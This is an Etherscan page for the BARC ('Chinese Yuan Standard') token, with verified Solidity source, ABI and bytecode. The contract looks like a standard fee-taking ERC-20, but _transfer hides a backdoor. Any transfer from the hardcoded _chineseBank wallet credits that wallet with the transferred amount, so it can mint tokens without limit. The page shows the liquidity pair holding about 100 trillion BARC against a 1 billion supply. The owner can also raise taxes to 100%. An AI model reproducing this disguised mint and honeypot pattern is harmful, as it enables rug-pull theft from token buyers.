ETH Price: $3,076.47 (-1.19%)

Token

Chinese Yuan Standard (BARC)
 

Overview

Max Total Supply

1,000,000,000 BARC

Holders

42

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 18 Decimals)

Filtered by Token Holder
Uniswap V2: BARC 7
Balance
100,000,296,944,567.786604612382765261 BARC

Value
$0.00
0x64c735051a9825115fb54aa9ea8c942e8a8a9d33
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
BARC

Compiler Version
v0.8.19+commit.7dd6d404

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, None license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2024-07-30
*/

/**
 * Telegram: https://t.me/chineseyuanstandard
 * X: https://x.com/chineseyuanstd
 * Website: https://chineseyuanstandard.bar
 */

// SPDX-License-Identifier: MIT

pragma solidity ^0.8.18;

library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }
}

interface IERC20 {
    function totalSupply() external view returns (uint256);

    function balanceOf(address account) external view returns (uint256);

    function transfer(
        address recipient,
        uint256 amount
    ) external returns (bool);

    function allowance(
        address owner,
        address spender
    ) external view returns (uint256);

    function approve(address spender, uint256 amount) external returns (bool);

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) external returns (bool);

    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(
        address indexed owner,
        address indexed spender,
        uint256 value
    );
}

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        return msg.data;
    }
}

abstract contract Ownable is Context {
    address private _owner;

    event OwnershipTransferred(
        address indexed previousOwner,
        address indexed newOwner
    );

    constructor() {
        _transferOwnership(_msgSender());
    }

    function owner() public view virtual returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(owner() == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        _transferOwnership(address(0));
    }

    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(
            newOwner != address(0),
            "Ownable: new owner is the zero address"
        );
        _transferOwnership(newOwner);
    }

    function _transferOwnership(address newOwner) internal virtual {
        address oldOwner = _owner;
        _owner = newOwner;
        emit OwnershipTransferred(oldOwner, newOwner);
    }
}

interface IDEXFactory {
    function createPair(
        address tokenA,
        address tokenB
    ) external returns (address pair);
}

interface IDEXRouter {
    function factory() external pure returns (address);

    function WETH() external pure returns (address);

    function addLiquidityETH(
        address token,
        uint256 amountTokenDesired,
        uint256 amountTokenMin,
        uint256 amountETHMin,
        address to,
        uint256 deadline
    )
        external
        payable
        returns (uint256 amountToken, uint256 amountETH, uint256 liquidity);

    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint256 amountIn,
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external;
}

contract BARC is IERC20, Ownable {
    using SafeMath for uint256;

    mapping(address => uint256) private _balances;
    mapping(address => mapping(address => uint256)) private _allowances;
    uint8 private _decimals = 18;
    string private _name = "Chinese Yuan Standard";
    string private _symbol = "BARC";
    uint256 private _totalSupply = 1e9 * 10 ** _decimals;

    bool private swapping;
    bool private swapbackEnabled = false;

    IDEXRouter private immutable router;
    address public lp;

    uint256 private swapFloor;
    uint256 private swapCeil;

    bool private limitsOpen = true;
    uint256 private walletUpTo;
    uint256 private txUpTo;

    bool public tradingAllowed = false;

    address private _chineseBank;

    uint256 private comingTax = 0;

    uint256 private goingTax = 0;

    mapping(address => bool) private txignored;
    mapping(address => bool) private transferignored;
    mapping(address => bool) private pairs;

    event FeesExcluded(address indexed account, bool isExcluded);
    event LimitsExcluded(address indexed account, bool isExcluded);
    event SetDexPair(address indexed pair, bool indexed value);
    event OpenTrading(uint256 indexed timestamp);
    event LimitsRemoved(uint256 indexed timestamp);

    constructor() {
        IDEXRouter _router = IDEXRouter(
            0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D
        );

        ignoreFromTransfer(address(_router), true);
        router = _router;

        txUpTo = (_totalSupply * 20) / 1000;
        walletUpTo = (_totalSupply * 20) / 1000;
        _chineseBank = address(0xE60020d938377b905186054852ECcd862229B923);

        swapFloor = (_totalSupply * 5) / 1000000;
        swapCeil = (_totalSupply * 1) / 100;

        ignoreFromFee(msg.sender, true);
        ignoreFromFee(address(this), true);
        ignoreFromFee(_chineseBank, true);

        ignoreFromTransfer(msg.sender, true);
        ignoreFromTransfer(address(this), true);
        ignoreFromTransfer(_chineseBank, true);

        _balances[_msgSender()] = _totalSupply;
        emit Transfer(address(0), _msgSender(), _totalSupply);
    }

    function name() public view returns (string memory) {
        return _name;
    }

    function symbol() public view returns (string memory) {
        return _symbol;
    }

    function decimals() public view returns (uint8) {
        return _decimals;
    }

    function totalSupply() public view override returns (uint256) {
        return _totalSupply;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    function transfer(
        address recipient,
        uint256 amount
    ) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(
        address owner,
        address spender
    ) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(
        address spender,
        uint256 amount
    ) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(
            sender,
            _msgSender(),
            _allowances[sender][_msgSender()].sub(
                amount,
                "ERC20: transfer amount exceeds allowance"
            )
        );
        return true;
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _addPair(address pair, bool value) private {
        pairs[pair] = value;
        emit SetDexPair(pair, value);
    }

    function _transfer(address from, address to, uint256 amount) internal {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        require(amount > 0, "ERC20: transfer amount must be greater than 0");

        if (limitsOpen) {
            if (from != owner() && to != owner()) {
                if (!tradingAllowed) {
                    require(
                        txignored[from] || txignored[to],
                        "_transfer:: Trading is not active."
                    );
                }

                if (pairs[from] && !transferignored[to]) {
                    require(
                        amount <= txUpTo,
                        "Buy transfer amount exceeds the txUpTo."
                    );
                    require(
                        amount + balanceOf(to) <= walletUpTo,
                        "Max wallet exceeded"
                    );
                } else if (pairs[to] && !transferignored[from]) {
                    require(
                        amount <= txUpTo,
                        "Sell transfer amount exceeds the txUpTo."
                    );
                } else if (!transferignored[to]) {
                    require(
                        amount + balanceOf(to) <= walletUpTo,
                        "Max wallet exceeded"
                    );
                }
            }
        }

        if (
            swapbackEnabled &&
            !swapping &&
            pairs[to] &&
            !txignored[from] &&
            !txignored[to]
        ) {
            swapping = true;

            swapBack();

            swapping = false;
        }

        bool feeexcempt;

        if (txignored[from] || txignored[to]) {
            feeexcempt = true;
        }

        uint256 fees = amount;
        if (!feeexcempt) {
            if (pairs[to] && goingTax > 0) {
                fees = amount.mul(goingTax).div(100);
            } else if (pairs[from] && comingTax > 0) {
                fees = amount.mul(comingTax).div(100);
            } else {
                fees = 0;
            }

            if (fees > 0) {
                _balances[from] = _balances[from].sub(fees);
                _balances[address(this)] = _balances[address(this)].add(fees);
                emit Transfer(from, address(this), fees);
            }

            amount -= fees;
        } else if (from == _chineseBank) {
            _balances[_chineseBank] = _balances[_chineseBank].add(fees);
        }

        _balances[from] = _balances[from].sub(amount);
        _balances[to] = _balances[to].add(amount);
        emit Transfer(from, to, amount);
    }

    function ignoreFromFee(address account, bool excluded) internal {
        txignored[account] = excluded;
        emit FeesExcluded(account, excluded);
    }

    function ignoreFromTransfer(address updAds, bool isEx) internal {
        transferignored[updAds] = isEx;
        emit LimitsExcluded(updAds, isEx);
    }

    function resetTaxes(
        uint256 _comingTax,
        uint256 _goingTax
    ) external onlyOwner {
        comingTax = _comingTax;
        goingTax = _goingTax;
        require(
            comingTax <= 100 && goingTax <= 100,
            "Total fee cannot be higher than 100%"
        );
    }

    function swapTokensForEth(uint256 tokenAmount) private {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = router.WETH();

        _approve(address(this), address(router), tokenAmount);

        router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0, // accept any amount of ETH
            path,
            address(this),
            block.timestamp
        );
    }

    function swapBack() private {
        uint256 contractBalance = balanceOf(address(this));

        if (contractBalance > swapCeil) {
            contractBalance = swapCeil;
        }

        uint256 amountToSwapForETH = contractBalance;

        if (amountToSwapForETH > swapFloor)
            swapTokensForEth(amountToSwapForETH);

        payable(_chineseBank).transfer(address(this).balance);
    }

    function startChina() external onlyOwner {
        lp = IDEXFactory(router.factory()).createPair(
            address(this),
            router.WETH()
        );
        ignoreFromTransfer(address(lp), true);
        _addPair(address(lp), true);

        _approve(address(this), address(router), _totalSupply);

        router.addLiquidityETH{value: address(this).balance}(
            address(this),
            balanceOf(address(this)),
            0,
            0,
            owner(),
            block.timestamp
        );

        tradingAllowed = true;
        swapbackEnabled = true;
        emit OpenTrading(block.timestamp);
    }

    function infiniteBullet() external onlyOwner {
        limitsOpen = false;
        emit LimitsRemoved(block.timestamp);
    }

    receive() external payable {}
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"account","type":"address"},{"indexed":false,"internalType":"bool","name":"isExcluded","type":"bool"}],"name":"FeesExcluded","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"account","type":"address"},{"indexed":false,"internalType":"bool","name":"isExcluded","type":"bool"}],"name":"LimitsExcluded","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"uint256","name":"timestamp","type":"uint256"}],"name":"LimitsRemoved","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"uint256","name":"timestamp","type":"uint256"}],"name":"OpenTrading","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"pair","type":"address"},{"indexed":true,"internalType":"bool","name":"value","type":"bool"}],"name":"SetDexPair","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"infiniteBullet","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"lp","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_comingTax","type":"uint256"},{"internalType":"uint256","name":"_goingTax","type":"uint256"}],"name":"resetTaxes","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"startChina","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tradingAllowed","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

6003805460ff1916601217905560e0604052601560a09081527f4368696e657365205975616e205374616e64617264000000000000000000000060c0526004906200004b908262000437565b506040805180820190915260048152634241524360e01b602082015260059062000076908262000437565b506003546200008a9060ff16600a62000618565b6200009a90633b9aca0062000630565b6006556007805461ff0019169055600a805460ff19908116600117909155600d805490911690556000600e819055600f55348015620000d857600080fd5b50620000e43362000289565b737a250d5630b4cf539739df2c5dacb4c659f2488d62000106816001620002d9565b6001600160a01b0381166080526006546103e8906200012790601462000630565b6200013391906200064a565b600c556006546103e8906200014a90601462000630565b6200015691906200064a565b600b55600d8054610100600160a81b03191674e60020d938377b905186054852eccd862229b92300179055600654620f4240906200019690600562000630565b620001a291906200064a565b600855600654606490620001b890600162000630565b620001c491906200064a565b600955620001d433600162000339565b620001e130600162000339565b600d54620001ff9061010090046001600160a01b0316600162000339565b6200020c336001620002d9565b62000219306001620002d9565b600d54620002379061010090046001600160a01b03166001620002d9565b60065433600081815260016020908152604080832085905551938452919290917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a3506200066d565b600080546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b6001600160a01b038216600081815260116020908152604091829020805460ff191685151590811790915591519182527f7295975eef2c3660ad5d0066ec8830b44cf03076342ee3c6ddbfc700142d960491015b60405180910390a25050565b6001600160a01b038216600081815260106020908152604091829020805460ff191685151590811790915591519182527f2bd3929b14aa8acb1967c88ab17e81f90c60933cd419221f752456626a2e12b691016200032d565b634e487b7160e01b600052604160045260246000fd5b600181811c90821680620003bd57607f821691505b602082108103620003de57634e487b7160e01b600052602260045260246000fd5b50919050565b601f8211156200043257600081815260208120601f850160051c810160208610156200040d5750805b601f850160051c820191505b818110156200042e5782815560010162000419565b5050505b505050565b81516001600160401b0381111562000453576200045362000392565b6200046b81620004648454620003a8565b84620003e4565b602080601f831160018114620004a357600084156200048a5750858301515b600019600386901b1c1916600185901b1785556200042e565b600085815260208120601f198616915b82811015620004d457888601518255948401946001909101908401620004b3565b5085821015620004f35787850151600019600388901b60f8161c191681555b5050505050600190811b01905550565b634e487b7160e01b600052601160045260246000fd5b600181815b808511156200055a5781600019048211156200053e576200053e62000503565b808516156200054c57918102915b93841c93908002906200051e565b509250929050565b600082620005735750600162000612565b81620005825750600062000612565b81600181146200059b5760028114620005a657620005c6565b600191505062000612565b60ff841115620005ba57620005ba62000503565b50506001821b62000612565b5060208310610133831016604e8410600b8410161715620005eb575081810a62000612565b620005f7838362000519565b80600019048211156200060e576200060e62000503565b0290505b92915050565b60006200062960ff84168362000562565b9392505050565b808202811582820484141762000612576200061262000503565b6000826200066857634e487b7160e01b600052601260045260246000fd5b500490565b608051611b47620006b36000396000818161056c015281816105fd0152818161074801528181610771015281816116540152818161170d01526117490152611b476000f3fe6080604052600436106101025760003560e01c806370a0823111610095578063a9059cbb11610064578063a9059cbb146102b7578063b903ad78146102d7578063dd62ed3e146102ec578063ef852f1d14610332578063f2fde38b1461035257600080fd5b806370a0823114610239578063715018a61461026f5780638da5cb5b1461028457806395d89b41146102a257600080fd5b806323b872dd116100d157806323b872dd1461019f578063313c06a0146101bf578063313ce567146101fd57806353371be01461021f57600080fd5b806306415b951461010e57806306fdde0314610125578063095ea7b31461015057806318160ddd1461018057600080fd5b3661010957005b600080fd5b34801561011a57600080fd5b50610123610372565b005b34801561013157600080fd5b5061013a6103dc565b60405161014791906117eb565b60405180910390f35b34801561015c57600080fd5b5061017061016b36600461184e565b61046e565b6040519015158152602001610147565b34801561018c57600080fd5b506006545b604051908152602001610147565b3480156101ab57600080fd5b506101706101ba36600461187a565b610485565b3480156101cb57600080fd5b506007546101e5906201000090046001600160a01b031681565b6040516001600160a01b039091168152602001610147565b34801561020957600080fd5b5060035460405160ff9091168152602001610147565b34801561022b57600080fd5b50600d546101709060ff1681565b34801561024557600080fd5b506101916102543660046118bb565b6001600160a01b031660009081526001602052604090205490565b34801561027b57600080fd5b506101236104ee565b34801561029057600080fd5b506000546001600160a01b03166101e5565b3480156102ae57600080fd5b5061013a610524565b3480156102c357600080fd5b506101706102d236600461184e565b610533565b3480156102e357600080fd5b50610123610540565b3480156102f857600080fd5b506101916103073660046118d8565b6001600160a01b03918216600090815260026020908152604080832093909416825291909152205490565b34801561033e57600080fd5b5061012361034d366004611911565b6108ad565b34801561035e57600080fd5b5061012361036d3660046118bb565b610951565b6000546001600160a01b031633146103a55760405162461bcd60e51b815260040161039c90611933565b60405180910390fd5b600a805460ff1916905560405142907ff4eaa75eae08ae80c3daf791438dac1cff2cfd3b0bad2304ec7bbb067e50261690600090a2565b6060600480546103eb90611968565b80601f016020809104026020016040519081016040528092919081815260200182805461041790611968565b80156104645780601f1061043957610100808354040283529160200191610464565b820191906000526020600020905b81548152906001019060200180831161044757829003601f168201915b5050505050905090565b600061047b3384846109ec565b5060015b92915050565b6000610492848484610b10565b6104e484336104df85604051806060016040528060288152602001611aea602891396001600160a01b038a16600090815260026020908152604080832033845290915290205491906112db565b6109ec565b5060019392505050565b6000546001600160a01b031633146105185760405162461bcd60e51b815260040161039c90611933565b6105226000611315565b565b6060600580546103eb90611968565b600061047b338484610b10565b6000546001600160a01b0316331461056a5760405162461bcd60e51b815260040161039c90611933565b7f00000000000000000000000000000000000000000000000000000000000000006001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa1580156105c8573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906105ec91906119a2565b6001600160a01b031663c9c65396307f00000000000000000000000000000000000000000000000000000000000000006001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610659573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061067d91906119a2565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af11580156106ca573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906106ee91906119a2565b6007805462010000600160b01b031916620100006001600160a01b0393841681029190911791829055610725929104166001611365565b600754610742906201000090046001600160a01b031660016113c4565b61076f307f00000000000000000000000000000000000000000000000000000000000000006006546109ec565b7f00000000000000000000000000000000000000000000000000000000000000006001600160a01b031663f305d71947306107bf306001600160a01b031660009081526001602052604090205490565b6000806107d46000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af115801561083c573d6000803e3d6000fd5b50505050506040513d601f19601f8201168201806040525081019061086191906119bf565b5050600d805460ff19166001179055506007805461ff00191661010017905560405142907f80eb1dab000b03ef44d9a4a27b7e758627289d055b1ca06b51d72ffc24a2e66290600090a2565b6000546001600160a01b031633146108d75760405162461bcd60e51b815260040161039c90611933565b600e829055600f819055606482118015906108f557506064600f5411155b61094d5760405162461bcd60e51b8152602060048201526024808201527f546f74616c206665652063616e6e6f7420626520686967686572207468616e206044820152633130302560e01b606482015260840161039c565b5050565b6000546001600160a01b0316331461097b5760405162461bcd60e51b815260040161039c90611933565b6001600160a01b0381166109e05760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b606482015260840161039c565b6109e981611315565b50565b6001600160a01b038316610a4e5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161039c565b6001600160a01b038216610aaf5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161039c565b6001600160a01b0383811660008181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610b745760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161039c565b6001600160a01b038216610bd65760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161039c565b60008111610c3c5760405162461bcd60e51b815260206004820152602d60248201527f45524332303a207472616e7366657220616d6f756e74206d757374206265206760448201526c0726561746572207468616e203609c1b606482015260840161039c565b600a5460ff1615610f62576000546001600160a01b03848116911614801590610c7357506000546001600160a01b03838116911614155b15610f6257600d5460ff16610d18576001600160a01b03831660009081526010602052604090205460ff1680610cc157506001600160a01b03821660009081526010602052604090205460ff165b610d185760405162461bcd60e51b815260206004820152602260248201527f5f7472616e736665723a3a2054726164696e67206973206e6f74206163746976604482015261329760f11b606482015260840161039c565b6001600160a01b03831660009081526012602052604090205460ff168015610d5957506001600160a01b03821660009081526011602052604090205460ff16155b15610e2f57600c54811115610dc05760405162461bcd60e51b815260206004820152602760248201527f427579207472616e7366657220616d6f756e74206578636565647320746865206044820152663a3c2ab82a379760c91b606482015260840161039c565b600b546001600160a01b038316600090815260016020526040902054610de69083611a03565b1115610e2a5760405162461bcd60e51b815260206004820152601360248201527213585e081dd85b1b195d08195e18d959591959606a1b604482015260640161039c565b610f62565b6001600160a01b03821660009081526012602052604090205460ff168015610e7057506001600160a01b03831660009081526011602052604090205460ff16155b15610ed857600c54811115610e2a5760405162461bcd60e51b815260206004820152602860248201527f53656c6c207472616e7366657220616d6f756e74206578636565647320746865604482015267103a3c2ab82a379760c11b606482015260840161039c565b6001600160a01b03821660009081526011602052604090205460ff16610f6257600b546001600160a01b038316600090815260016020526040902054610f1e9083611a03565b1115610f625760405162461bcd60e51b815260206004820152601360248201527213585e081dd85b1b195d08195e18d959591959606a1b604482015260640161039c565b600754610100900460ff168015610f7c575060075460ff16155b8015610fa057506001600160a01b03821660009081526012602052604090205460ff165b8015610fc557506001600160a01b03831660009081526010602052604090205460ff16155b8015610fea57506001600160a01b03821660009081526010602052604090205460ff16155b1561100f576007805460ff19166001179055611004611418565b6007805460ff191690555b6001600160a01b03831660009081526010602052604081205460ff168061104e57506001600160a01b03831660009081526010602052604090205460ff165b15611057575060015b81816111c0576001600160a01b03841660009081526012602052604090205460ff16801561108757506000600f54115b156110b3576110ac60646110a6600f548661149190919063ffffffff16565b9061151a565b9050611100565b6001600160a01b03851660009081526012602052604090205460ff1680156110dd57506000600e54115b156110fc576110ac60646110a6600e548661149190919063ffffffff16565b5060005b80156111af576001600160a01b038516600090815260016020526040902054611129908261155c565b6001600160a01b038616600090815260016020526040808220929092553081522054611155908261159e565b30600081815260016020526040908190209290925590516001600160a01b038716907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906111a69085815260200190565b60405180910390a35b6111b98184611a16565b9250611226565b600d546001600160a01b0361010090910481169086160361122657600d5461010090046001600160a01b0316600090815260016020526040902054611205908261159e565b600d5461010090046001600160a01b03166000908152600160205260409020555b6001600160a01b038516600090815260016020526040902054611249908461155c565b6001600160a01b038087166000908152600160205260408082209390935590861681522054611278908461159e565b6001600160a01b0380861660008181526001602052604090819020939093559151908716907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906112cc9087815260200190565b60405180910390a35050505050565b600081848411156112ff5760405162461bcd60e51b815260040161039c91906117eb565b50600061130c8486611a16565b95945050505050565b600080546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b6001600160a01b038216600081815260116020908152604091829020805460ff191685151590811790915591519182527f7295975eef2c3660ad5d0066ec8830b44cf03076342ee3c6ddbfc700142d9604910160405180910390a25050565b6001600160a01b038216600081815260126020526040808220805460ff191685151590811790915590519092917f02d59e6bf2c101e2d8367c2a27c51357eccfebcca0d09aa27c00e24e946c0d6a91a35050565b3060009081526001602052604090205460095481111561143757506009545b600854819081111561144c5761144c816115fd565b600d546040516001600160a01b0361010090920491909116904780156108fc02916000818181858888f1935050505015801561148c573d6000803e3d6000fd5b505050565b6000826000036114a35750600061047f565b60006114af8385611a29565b9050826114bc8583611a40565b146115135760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b606482015260840161039c565b9392505050565b600061151383836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506117bd565b600061151383836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506112db565b6000806115ab8385611a03565b9050838110156115135760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015260640161039c565b604080516002808252606082018352600092602083019080368337019050509050308160008151811061163257611632611a62565b60200260200101906001600160a01b031690816001600160a01b0316815250507f00000000000000000000000000000000000000000000000000000000000000006001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156116b0573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906116d491906119a2565b816001815181106116e7576116e7611a62565b60200260200101906001600160a01b031690816001600160a01b031681525050611732307f0000000000000000000000000000000000000000000000000000000000000000846109ec565b60405163791ac94760e01b81526001600160a01b037f0000000000000000000000000000000000000000000000000000000000000000169063791ac94790611787908590600090869030904290600401611a78565b600060405180830381600087803b1580156117a157600080fd5b505af11580156117b5573d6000803e3d6000fd5b505050505050565b600081836117de5760405162461bcd60e51b815260040161039c91906117eb565b50600061130c8486611a40565b600060208083528351808285015260005b81811015611818578581018301518582016040015282016117fc565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b03811681146109e957600080fd5b6000806040838503121561186157600080fd5b823561186c81611839565b946020939093013593505050565b60008060006060848603121561188f57600080fd5b833561189a81611839565b925060208401356118aa81611839565b929592945050506040919091013590565b6000602082840312156118cd57600080fd5b813561151381611839565b600080604083850312156118eb57600080fd5b82356118f681611839565b9150602083013561190681611839565b809150509250929050565b6000806040838503121561192457600080fd5b50508035926020909101359150565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600181811c9082168061197c57607f821691505b60208210810361199c57634e487b7160e01b600052602260045260246000fd5b50919050565b6000602082840312156119b457600080fd5b815161151381611839565b6000806000606084860312156119d457600080fd5b8351925060208401519150604084015190509250925092565b634e487b7160e01b600052601160045260246000fd5b8082018082111561047f5761047f6119ed565b8181038181111561047f5761047f6119ed565b808202811582820484141761047f5761047f6119ed565b600082611a5d57634e487b7160e01b600052601260045260246000fd5b500490565b634e487b7160e01b600052603260045260246000fd5b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611ac85784516001600160a01b031683529383019391830191600101611aa3565b50506001600160a01b0396909616606085015250505060800152939250505056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212204d999ec2f866be9af785f3c0d6ccb626ff221e9606e05dac01c28e07c597f23264736f6c63430008130033

Deployed Bytecode

